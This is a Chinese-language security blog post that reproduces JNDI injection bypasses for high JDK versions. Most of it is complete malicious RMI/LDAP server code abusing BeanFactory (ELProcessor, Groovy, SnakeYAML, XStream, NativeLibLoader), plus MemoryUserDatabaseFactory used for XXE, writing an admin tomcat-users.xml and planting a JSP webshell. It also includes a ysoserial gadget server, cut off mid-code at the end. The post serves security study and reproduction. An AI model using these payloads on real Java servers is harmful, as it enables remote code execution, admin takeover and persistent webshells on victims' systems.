主頁 >  其他 > java高版本下各種JNDI Bypass方法復現

java高版本下各種JNDI Bypass方法復現

2022-03-01 06:18:57 其他

目錄
  • 0 前言
  • 1 Java高版本JNDI繞過的源代碼分析
    • 1.1 思路一的原始碼分析
    • 1.2 思路二的原始碼分析
  • 2 基于本地工廠類的利用方法
    • 2.1 org.apache.naming.factory.BeanFactory
      • 2.1.1 javax.el.ELProcessor.eval
      • 2.1.2 groovy.lang.GroovyClassLoader.parseClass(String text)
      • 2.1.3 javax.management.loading.MLet 探測類是否存在
      • 2.1.4 org.yaml.snakeyaml.Yaml().load(String)
      • 2.1.5 com.thoughtworks.xstream.XStream.fromXML
      • 2.1.6 org.mvel2.sh.ShellSession.exec()
      • 2.1.7 com.sun.glass.utils.NativeLibLoader
    • 2.2 org.apache.catalina.users.MemoryUserDatabaseFactory
      • 2.2.1 XXE
      • 2.2.2 RCE
  • 3 基于服務端回傳資料流的反序列化RCE
  • 4 總結
  • 參考

0 前言

利用JNDI進行攻擊,是Java中常用的手段,但高版本JDK在RMI和LDAP的trustURLCodebase都做了限制,從默認允許遠程加載ObjectFactory變成了不允許,RMI是在6u132, 7u122, 8u113版本開始做了限制,LDAP是 11.0.1, 8u191, 7u201, 6u211版本開始做了限制,但依然有繞過方法,而最近淺藍師傅的文章公布了一些新的bypass路線,正好快放假了,學習和研究一下,

1 Java高版本JNDI繞過的源代碼分析

使用marshalsec開啟rmi服務端

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:8090/#ExecTest

使用python開啟惡意class檔案下載服務端

py -3 -m http.server 8090

jdk 1.8u40下發起RMI請求

將java版本修改為1.8u191

直接被阻攔,需要手動設定com.sun.jndi.rmi.object.trustURLCodebase=true

先給個圖說一下JNDI的程序究竟在干嘛

程序大抵就是這樣,高版本的阻斷在于步驟4,所以先直接說繞過思路:

  • 思路一,受害者向LDAP或RMI服務器請求Reference類后,將從服務器下載位元組流進行反序列化獲得Reference物件,此時即可利用反序列化gadget實作RCE
  • 思路二,執行步驟3時,利用受害者本地的工廠類實作RCE

說完結論,再來看一下高版本和低版本Java的關鍵不同點,

1.1 思路一的原始碼分析

除錯走到NamingManager.lookup(Name var1)方法,其源代碼如下:

public Object lookup(Name var1) throws NamingException {
    if (var1.isEmpty()) {
        return new RegistryContext(this);
    } else {
        Remote var2;
        try {
            var2 = this.registry.lookup(var1.get(0));  // 下載Reference的包裹類ReferenceWrapper
        } catch (NotBoundException var4) {
            throw new NameNotFoundException(var1.get(0));
        } catch (RemoteException var5) {
            throw (NamingException)wrapRemoteException(var5).fillInStackTrace();
        }

        return this.decodeObject(var2, var1.getPrefix(1));
    }
}

跟進lookup方法

var2中的ip和埠是我們指定的rmi服務器地址,執行var2.getInputStream方法后,獲得ObjectInput物件var4,再呼叫var4.readObject方法,這是典型的Java原生反序列化程序,受害者存在可用的gadget時,我們就可以利用這個點實作高版本JNDI的RCE,

1.2 思路二的原始碼分析

前面的1.8u40時實作jndi攻擊后,顯示了呼叫鏈,跟著除錯后進入到NamingManager.getObjectFactoryFromReference方法中,代碼如下

可以看到,從ref中獲取codebase后,呼叫helper物件的loadClass方法從遠程下載了ExecTest這個惡意類物件,然后呼叫了newInstance方法,觸發惡意代碼,而ref物件實際上是Reference類,該類是從rmi服務器或ldap服務器下載而來,

從對比1.8u40和1.8u191來看,NamingManager.getObjectFactoryFromReference方法是沒有差別的,都先呼叫helper.loadClass(String factoryName)嘗試加載本地的工廠類,出錯或找不到指定的工廠類后,再呼叫helper.loadClass(String className, String codebase)嘗試加載遠程的工廠類,

這里的helper物件實際上是com.sun.naming.internal.VersionHelper12的實體物件,如下圖所示,

卻別就在于VersionHelper12,首先跟進1.8u40VersionHelper12的loadClass(String className)方法,源代碼如下

1.8u40下VersionHelper12
    
public Class<?> loadClass(String className) throws ClassNotFoundException {
        return loadClass(className, getContextClassLoader());  // 呼叫中間的loadClass方法
    }

    /**
     * Package private.
     *
     * This internal method is used with Thread Context Class Loader (TCCL),
     * please don't expose this method as public.
     */
Class<?> loadClass(String className, ClassLoader cl)
    throws ClassNotFoundException {
    Class<?> cls = Class.forName(className, true, cl);
    return cls;
}

/**
     * @param className A non-null fully qualified class name.
     * @param codebase A non-null, space-separated list of URL strings.
     */
public Class<?> loadClass(String className, String codebase)
    throws ClassNotFoundException, MalformedURLException {

    ClassLoader parent = getContextClassLoader();
    ClassLoader cl = URLClassLoader.newInstance(getUrlArray(codebase), parent);  // 注意是URLClassLoader

    return loadClass(className, cl);  // 呼叫中間的loadClass方法
}
  • 第一個loadClass(String className),以為著通過getContextClassLoader獲取本地ClassLoader,傳入中間的loadClass(String className, ClassLoader cl)方法后,再通過反射,從本地尋找工廠類
  • 第三個loadClass(String className, String codebase)方法,則創建一個URLClassLoader,傳入中間的loadClass方法后,通過反射,會從遠程下載工廠類

下面再跟進一下1.8u191版本的VersionHelper12

1.8u191下的VersionHelper12
public Class<?> loadClass(String className) throws ClassNotFoundException {
    return loadClass(className, getContextClassLoader());  // 呼叫中間的loadClass方法,從本地獲取
}

Class<?> loadClass(String className, ClassLoader cl)
    throws ClassNotFoundException {
    Class<?> cls = Class.forName(className, true, cl);
    return cls;
}

/**
     * @param className A non-null fully qualified class name.
     * @param codebase A non-null, space-separated list of URL strings.
     */
public Class<?> loadClass(String className, String codebase)
    throws ClassNotFoundException, MalformedURLException {
    if ("true".equalsIgnoreCase(trustURLCodebase)) {   // 注意這里先進行了是否為可信URL地址的判斷!!
        ClassLoader parent = getContextClassLoader();
        ClassLoader cl = URLClassLoader.newInstance(getUrlArray(codebase), parent);   // URLClassLoader

        return loadClass(className, cl);   // 呼叫中間的loadClass方法,從遠程獲取
    } else {
        return null;
    }
}

區別明顯在于從遠程下載時會驗證URL是否可信,但并沒有對本地加載工廠類進行限制,所以繞過思路之一,就在于利用本地工廠類實作RCE,

2 基于本地工廠類的利用方法

從本地工廠類實作RCE還有一個具體要求,在NamingManager.getObjectInstance中,成功得到工廠類factory后,會呼叫factory.getObjectInstance(ref, name, nameCtx,environment)方法,創建JNDI客戶端真正需要的實體物件

也就是說,我們需要找到合適的ObjectFactory類,要求它還實作了getObjectInstance方法,并且能夠實作RCE,好在網上各位大神給出了很多答案,

需要指出的是,ref是攻擊者回傳的Reference物件、name是攻擊者指定的目錄名(uri部分)、nameCtx則是攻擊者LDAP地址的決議(IP、埠等),

2.1 org.apache.naming.factory.BeanFactory

該類只有一個方法getObjectInstance,但根據需要對源代碼進行了簡化

需要指出的是,ref是攻擊者回傳的Reference物件、name是攻擊者指定的類名(uri部分)、nameCtx則是攻擊者LDAP地址的決議(IP、埠等),

public class BeanFactory implements ObjectFactory {
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?,?> environment) throws NamingException {
        if (obj instanceof ResourceRef) {
            try {

                Reference ref = (Reference) obj;
                String beanClassName = ref.getClassName();
                Class<?> beanClass = null;
                ClassLoader tcl =
                    Thread.currentThread().getContextClassLoader();
                if (tcl != null) {
                    try {
                        beanClass = tcl.loadClass(beanClassName);
                    } catch(ClassNotFoundException e) {
                    }
                } else {}

                BeanInfo bi = Introspector.getBeanInfo(beanClass);
                PropertyDescriptor[] pda = bi.getPropertyDescriptors();
                Object bean = beanClass.getConstructor().newInstance(); // 實體化物件,需要無參建構式!!

				// 從Reference中獲取forceString引數
                RefAddr ra = ref.get("forceString");
                Map<String, Method> forced = new HashMap<>();
                String value;
				// 對forceString引數進行分割
                if (ra != null) {
                    value = https://www.cnblogs.com/bitterz/p/(String)ra.getContent();
                    Class<?> paramTypes[] = new Class[1];
                    paramTypes[0] = String.class;
                    String setterName;
                    int index;

                    /* Items are given as comma separated list */
                    for (String param: value.split(",")) {  // 使用逗號分割引數
                        param = param.trim();
                        index = param.indexOf('=');
                        if (index >= 0) {
                            setterName = param.substring(index + 1).trim();  // 等號后面強制設定為setter方法名
                            param = param.substring(0, index).trim();  // 等號前面為屬性名
                        } else {}
                        try {
                            // 根據setter方法名獲取setter方法,指定forceString后就是我們指定的方法,但注意引數是String型別!
                            forced.put(param, beanClass.getMethod(setterName, paramTypes));  
                        } catch (NoSuchMethodException|SecurityException ex) {
                            throw new NamingException
                                ("Forced String setter " + setterName +
                                 " not found for property " + param);
                        }
                    }
                }

                Enumeration<RefAddr> e = ref.getAll();

                while (e.hasMoreElements()) {  // 遍歷Reference中的所有RefAddr
                    ra = e.nextElement();
                    String propName = ra.getType();  // 獲取屬性名
					// 過濾一些特殊的屬性名,例如前面的forceString
                    if (propName.equals(Constants.FACTORY) ||
                        propName.equals("scope") || propName.equals("auth") ||
                        propName.equals("forceString") ||
                        propName.equals("singleton")) {
                        continue;
                    }

                    value = https://www.cnblogs.com/bitterz/p/(String)ra.getContent();  // 屬性名對應的引數
                    Object[] valueArray = new Object[1];

                    /* Shortcut for properties with explicitly configured setter */
                    Method method = forced.get(propName);  // 根據屬性名獲取對應的方法
                    if (method != null) {
                        valueArray[0] = value;
                        try {
                            method.invoke(bean, valueArray);  // 執行方法,可用用forceString強制指定某個函式
                        } catch () {}
                        continue;
                    }
		// 省略
    }
} 	

根據源代碼的邏輯,我們可用得到這樣幾個資訊,在ldap或rmi服務器端,我們可用設定幾個特殊的RefAddr,

  • 該類必須有無參構造方法

  • 并在其中設定一個forceString欄位指定某個特殊方法名該方法執行String型別的引數

  • 通過上面的方法和一個String引數即可實作RCE

2.1.1 javax.el.ELProcessor.eval

恰好有javax.el.ELProcessor滿足該條件!

Server端設定如下

pom.xml

<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-dbcp</artifactId>
    <version>9.0.8</version>
</dependency>
<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>9.0.8</version>
</dependency>
<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-jasper</artifactId>
    <version>9.0.8</version>
</dependency>

server端代碼如下

package com.bitterz.jndiBypass;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class TomcatBeanFactoryServer {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        // 實體化Reference,指定目標類為javax.el.ELProcessor,工廠類為org.apache.naming.factory.BeanFactory
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);

        // 強制將 'x' 屬性的setter 從 'setX' 變為 'eval', 詳細邏輯見 BeanFactory.getObjectInstance 代碼
        ref.add(new StringRefAddr("forceString", "bitterz=eval"));

        // 指定bitterz屬性指定其setter方法需要的引數,實際是ElProcessor.eval方法執行的引數,利用運算式執行命令
        ref.add(new StringRefAddr("bitterz", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));

        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        registry.bind("Exploit", referenceWrapper);  // 系結目錄名
        System.out.println("Server Started!");
    }
}

客戶端執行請求

2.1.2 groovy.lang.GroovyClassLoader.parseClass(String text)

groovy中同樣存在基于一個String引數觸發的方法

pom.xml

<dependency>
    <groupId>org.codehaus.groovy</groupId>
    <artifactId>groovy-all</artifactId>
    <version>2.4.9</version>
</dependency>

GroovyShellServer.java

package com.bitterz.jndiBypass;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import groovy.lang.GroovyClassLoader;


public class GroovyShellServer {
    public static void main(String[] args) throws Exception {
        System.out.println("Creating evil RMI registry on port 1097");
        Registry registry = LocateRegistry.createRegistry(1097);
        ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        ref.add(new StringRefAddr("forceString", "x=parseClass"));
        String script = "@groovy.transform.ASTTest(value=https://www.cnblogs.com/bitterz/p/{/n" +
                "    assert java.lang.Runtime.getRuntime().exec(\"calc\")\n" +
                "})\n" +
                "def x\n";
        ref.add(new StringRefAddr("x",script));

        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
        registry.bind("evilGroovy", referenceWrapper);
    }
}

受害端發起rmi請求,java版本1.8u191

2.1.3 javax.management.loading.MLet 探測類是否存在

淺藍大師傅又公開了一些其它可利用的類,首先時javax.management.loading.MLet這個類,通過其loadClass方法可以探測目標是否存在某個可利用類(例如java原生反序列化的gadget)

由于javax.management.loading.MLet繼承自URLClassLoader,其addURL方法會訪問遠程服務器,而loadClass方法可以檢測目標是否存在某個類,因此可以結合使用,檢測某個類是否存在

上面出現404,則說明前面對ELProcessor類的加載成功了,

當loadClass需要加載的類不存在時,則會直接報錯,不進入遠程類的訪問,因此http端收不到GET請求

2.1.4 org.yaml.snakeyaml.Yaml().load(String)

Yaml是做反序列化的,當然也可以實作RCE,通過其反序列化程序即可實作,payload也比較多

這里還需要對SPI機制有一定的了解,先直接給我如何實作惡意jar包的吧

創建一個惡意類,實作ScriptEngineFactory介面

然后在resources目錄下創建META-INF/services/javax.script.ScriptEngineFactory檔案,里面的內容設定為前面的惡意類名

打包編譯后,開啟http服務,運行RMI惡意服務端,執行lookup,效果如下

2.1.5 com.thoughtworks.xstream.XStream.fromXML

復現失敗了,單純用xstream.fromXML(payload)也沒有成功,可能是環境問題,,,,


ResourceRef ref = new ResourceRef("com.thoughtworks.xstream.XStream", null, "", "",
                                  true, "org.apache.naming.factory.BeanFactory", null);
String xml = "<java.util.PriorityQueue serialization='custom'>\n" +
    "  <unserializable-parents/>\n" +
    "  <java.util.PriorityQueue>\n" +
    "    <default>\n" +
    "      <size>2</size>\n" +
    "    </default>\n" +
    "    <int>3</int>\n" +
    "    <dynamic-proxy>\n" +
    "      <interface>java.lang.Comparable</interface>\n" +
    "      <handler class='sun.tracing.NullProvider'>\n" +
    "        <active>true</active>\n" +
    "        <providerType>java.lang.Comparable</providerType>\n" +
    "        <probes>\n" +
    "          <entry>\n" +
    "            <method>\n" +
    "              <class>java.lang.Comparable</class>\n" +
    "              <name>compareTo</name>\n" +
    "              <parameter-types>\n" +
    "                <class>java.lang.Object</class>\n" +
    "              </parameter-types>\n" +
    "            </method>\n" +
    "            <sun.tracing.dtrace.DTraceProbe>\n" +
    "              <proxy class='java.lang.Runtime'/>\n" +
    "              <implementing__method>\n" +
    "                <class>java.lang.Runtime</class>\n" +
    "                <name>exec</name>\n" +
    "                <parameter-types>\n" +
    "                  <class>java.lang.String</class>\n" +
    "                </parameter-types>\n" +
    "              </implementing__method>\n" +
    "            </sun.tracing.dtrace.DTraceProbe>\n" +
    "          </entry>\n" +
    "        </probes>\n" +
    "      </handler>\n" +
    "    </dynamic-proxy>\n" +
    "    <string>/System/Applications/Calculator.app/Contents/MacOS/Calculator</string>\n" +
    "  </java.util.PriorityQueue>\n" +
    "</java.util.PriorityQueue>";
ref.add(new StringRefAddr("forceString", "a=fromXML"));
ref.add(new StringRefAddr("a", xml));

2.1.6 org.mvel2.sh.ShellSession.exec()

<dependency>
    <groupId>org.mvel</groupId>
    <artifactId>mvel2</artifactId>
    <version>2.4.12.Final</version>
</dependency>

2.1.7 com.sun.glass.utils.NativeLibLoader

JDK內置的元件加載工具類,使用其loadLibrary方法,執行鏈如下

NativeLibLoader.loadLibrary() -> NativeLibLoader.loadLibraryInternal() -> NativeLibLoader.loadLibraryFullPath()-> System.loadLibrary(libraryName);

dll代碼如下

#include <stdio.h>

void __attribute__ ((constructor)) my_init_so()
{
	FILE *fd = popen("calc", "r");
}

使用gcc編譯一個dll檔案

gcc -m64 .\libcmd.cpp -fPIC --shared -o libcmd.dll

啟動RMI Server,然后發起rmi請求,結果如下

public class NativeLibLoaderServer {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1099);
        ResourceRef ref = new ResourceRef("com.sun.glass.utils.NativeLibLoader", null, "", "",
                true, "org.apache.naming.factory.BeanFactory", null);
        ref.add(new StringRefAddr("forceString", "a=loadLibrary"));
        ref.add(new StringRefAddr("a", "..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\Users\\helloworld\\Desktop\\libcmd"));

        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
        registry.bind("dllLoader", referenceWrapper);
    }
}

注意這里的路徑一定要用路徑穿越,具體原因在于System.load前,對輸出的路徑與另一個路徑進行了拼接,源代碼就不貼了,除錯即可見,

2.2 org.apache.catalina.users.MemoryUserDatabaseFactory

淺藍師傅提到掃描發現org.apache.catalina.users.MemoryUserDatabaseFactory這個類也存在利用的可能性,并進步一步進行了研究,

該類的getObjectInstance方法,先獲取pathname和readonly兩個引數,并呼叫其setter方法,賦值完成后會呼叫org.apache.catalina.users.MemoryUserDatabase.open()方法,而后判斷readonly=false,則呼叫save()方法

先看其open方法

從pathName獲取url并發起請求,獲得xml資料,而后呼叫digester對xml進行決議,所以這里可以實作XXE,

2.2.1 XXE

開啟webserver,并放置一個惡意xml檔案如下

<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % romote SYSTEM "http://127.0.0.1:8888/RequestFromXXE"> %romote;]>
<root/>

當XXE成功時,會向http://127.0.0.1:8888/RequestFromXXE發起請求,因此圖中可見exp.xml獲取后,又向web server請求了/RequestFromXXE這個uri

2.2.2 RCE

前面是利用open方法執行程序進行XXE的,而open方法執行結束后,會執行到save方法中,注意在open方法執行程序中,我們必須設定pathname是一個URL,否則不會向下執行到save方法,還需要注意到前面XXE原理的代碼圖片中,進行XML決議前,會從xml中獲取user、role、group,這里的值會在后面save方法中被寫入檔案,

在pathname必須是URL的前提下,跟進save方法

注意到先進行了一個isWriteable的判斷,跟進該方法

這里pathname是一個URL,catelina_base=c:/xx/apache-tomcat-8/,這是令pathname=http://127.0.0.1:8888/../../conf/tomcat-users.xml, 則getParentFile()得到c:/xx/apache-tomcat-8/http:/127.0.0.1:8888/../../conf/,此時該路徑在Windows下可以直接判定成功,但linux下必須要求目錄跳轉前的路徑必須存在,也就是說需要先在tomcat目錄下創建http:/http:/127.0.0.1:8888/這兩個目錄,

淺藍師傅使用了org.h2.store.fs.FileUtils#createDirectory(String)結合BeanFactory進行創建,其代碼如下:

private static ResourceRef tomcatMkdirFrist() {
    ResourceRef ref = new ResourceRef("org.h2.store.fs.FileUtils", null, "", "",
            true, "org.apache.naming.factory.BeanFactory", null);
    ref.add(new StringRefAddr("forceString", "a=createDirectory"));
    ref.add(new StringRefAddr("a", "../http:"));
    return ref;
}
private static ResourceRef tomcatMkdirLast() {
    ResourceRef ref = new ResourceRef("org.h2.store.fs.FileUtils", null, "", "",
            true, "org.apache.naming.factory.BeanFactory", null);
    ref.add(new StringRefAddr("forceString", "a=createDirectory"));
    ref.add(new StringRefAddr("a", "../http:/127.0.0.1:8888"));
    return ref;
}

創建目錄后,繼續跟進save方法,如下

將從pathname下載的xml檔案中的roles、groups和users寫入檔案中,并覆寫給Catalina.base+pathname的檔案中,

寫入檔案的payload如下

Registry registry = LocateRegistry.createRegistry(1099);
// ===============================寫入檔案================================================

ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
                                  true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
ref.add(new StringRefAddr("pathname", "http://127.0.0.1:8888/../../conf/tomcat-users.xml"));
ref.add(new StringRefAddr("readonly", "false"));
// ===============================寫入檔案================================================

ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("writeFile", referenceWrapper);

首先是直接給tomcat寫入tomcat-users.xml檔案從而實作對tomcat的管理,Windows下不需要創建http:/127.0.0.1:8888/目錄,在windows下執行效果如下

在linux下必須創建http:/127.0.0.1:8888/目錄,然后再執行寫檔案的paylaod,效果如下

linux上復現時的步驟和坑:

  • 首先使用的rmiserver端代碼如下
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class UserDataRCE_Server {
    public static void main(String[] args) throws Exception{

        Registry registry = LocateRegistry.createRegistry(1099);

        // ===============================1 創建http:/================================================
        // ResourceRef ref = new ResourceRef("org.h2.store.fs.FileUtils", null, "", "",
        //         true, "org.apache.naming.factory.BeanFactory", null);
        // ref.add(new StringRefAddr("forceString", "a=createDirectory"));
        // ref.add(new StringRefAddr("a", "../http:"));

        // ===============================2 創建http:/127.0.0.1:8888/================================================
       // ResourceRef ref = new ResourceRef("org.h2.store.fs.FileUtils", null, "", "",
       //         true, "org.apache.naming.factory.BeanFactory", null);
       // ref.add(new StringRefAddr("forceString", "a=createDirectory"));
       // ref.add(new StringRefAddr("a", "../http:/127.0.0.1:8888"));

        // ===============================3 寫入檔案================================================

       ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
               true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
       ref.add(new StringRefAddr("pathname", "http://127.0.0.1:8888/../../conf/tomcat-users.xml"));
       ref.add(new StringRefAddr("readonly", "false"));
        // ===============================寫入檔案================================================

        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
        registry.bind("writeFile", referenceWrapper);
    }
}

在tomcat中添加的jsp檔案為:/webapps/test/1.jsp

<%@page pageEncoding="utf-8"%>
<%@page import="javax.naming.InitialContext"%>
<%

InitialContext initialContext = new InitialContext();
initialContext.lookup("rmi://127.0.0.1:1099/writeFile");
%>

用到的tomcat-users.xml如下

<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">

  <role rolename="manager-gui"/>
  <role rolename="manager-script"/>
  <role rolename="manager-jmx"/>
  <role rolename="manager-status"/>
  <role rolename="admin-gui"/>
  <role rolename="admin-script"/>

  <user username="admin" password="admin" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script"/>
</tomcat-users>
  • 創建conf目錄,放入tomcat-users.xml檔案,注意在conf同級目錄用python啟動web server
  • 分三次注釋代碼,再編譯和啟動惡意rmi server端,用到的命令javac -cp tomcat-catalina-9.0.8.jar UserDataRCE_Server.java java -classpath tomcat-catalina-9.0.8.jar:. UserDataRCE_Server,依賴的tomcat-catalina-9.0.8.jar需要自己下載一下,每次啟動rmiserver后,訪問一次test/1.jsp,讓tomcat執行相應的paylaod
  • tomcat端需要修改的地方有:給tomcat/lib下添加h2-2.1.210.jar,以便能夠執行創建目錄;給tomcat/webapps/host-manager/META-INF/context.xmltomcat/webapps/manager/META-INF/context.xml里修改為allow="^.*$",以便能夠遠程訪問tomcat的管理界面

最后利用可以寫入檔案這個思路,直接可以向tomcat寫入jsp webshell,需要用到代碼和步驟如下

  • 創建webapps/ROOT/test.jsp,并在webapps目錄下啟動python web server
<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">
  <role rolename="&#x3c;%Runtime.getRuntime().exec(&#x22;calc&#x22;); %&#x3e;"/>
</tomcat-users>
  • 啟動惡意rmi server端,代碼如下
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class UserDataRCE_Server {
    public static void main(String[] args) throws Exception{

        Registry registry = LocateRegistry.createRegistry(1099);

        // ===============================寫入webshell檔案================================================
        ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
                true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
        ref.add(new StringRefAddr("pathname", "http://127.0.0.1:8888/../../webapps/ROOT/test.jsp"));
        ref.add(new StringRefAddr("readonly", "false"));

        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
        registry.bind("writeFile", referenceWrapper);
    }
}
  • 訪問模擬的web jndi注入漏洞,/test/1.jsp,代碼如下
<%@page pageEncoding="utf-8"%>
<%@page import="javax.naming.InitialContext"%>
<%

InitialContext initialContext = new InitialContext();
initialContext.lookup("rmi://127.0.0.1:1099/writeFile");
%>
  • 訪問webshell

3 基于服務端回傳資料流的反序列化RCE

第2章里面都是rmi或ldap端回傳一個惡意ref類,使得目標執行指定xxFactory.getObjectInstance()方法,該方法中具體的代碼觸發進一步利用,還有第二個jndi bypass思路,即通過ldap/rmi指定一個惡意FactoryObject下載服務器,讓目標訪問并下載一段惡意序列化資料,在目標反序列化時觸發Java 原生反序列化漏洞,

以常見的CC鏈舉例

  • ldap端和http端使用并修改https://github.com/kxcode/JNDI-Exploit-Bypass-Demo/blob/master/HackerServer/src/main/java/HackerLDAPRefServer.java
package com.bitterz.jndiBypass;

import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.net.InetAddress;
import java.net.InetSocketAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;


public class serializationServer {

    private static final String LDAP_BASE = "dc=example,dc=com";


    public static void lanuchLDAPServer(Integer ldap_port, String http_server, Integer http_port) throws Exception {
        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    ldap_port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL("http://"+http_server+":"+http_port+"/#Exploit")));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + ldap_port);
            ds.startListening();
        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    public static class HttpFileHandler implements HttpHandler {
        public HttpFileHandler() {
        }

        public void handle(HttpExchange httpExchange) {
            try {
                System.out.println("new http request from " + httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI());
                String uri = httpExchange.getRequestURI().getPath();
                InputStream inputStream = HttpFileHandler.class.getResourceAsStream(uri);
                ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();

                if (inputStream == null){
                    System.out.println("Not Found");
                    httpExchange.close();
                    return;
                }else{
                    while(inputStream.available() > 0) {
                        byteArrayOutputStream.write(inputStream.read());
                    }

                    byte[] bytes = byteArrayOutputStream.toByteArray();
                    httpExchange.sendResponseHeaders(200, (long)bytes.length);
                    httpExchange.getResponseBody().write(bytes);
                    httpExchange.close();
                }
            } catch (Exception var5) {
                var5.printStackTrace();
            }

        }
    }
    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }

        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            /** Payload1: Return Reference Factory **/
            // e.addAttribute("javaCodeBase", cbstring);
            // e.addAttribute("objectClass", "javaNamingReference");
            // e.addAttribute("javaFactory", this.codebase.getRef());
            /** Payload1 end **/

            /** Payload2: Return Serialized Gadget **/
            try {
                // java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 '/Applications/Calculator.app/Contents/MacOS/Calculator'|base64
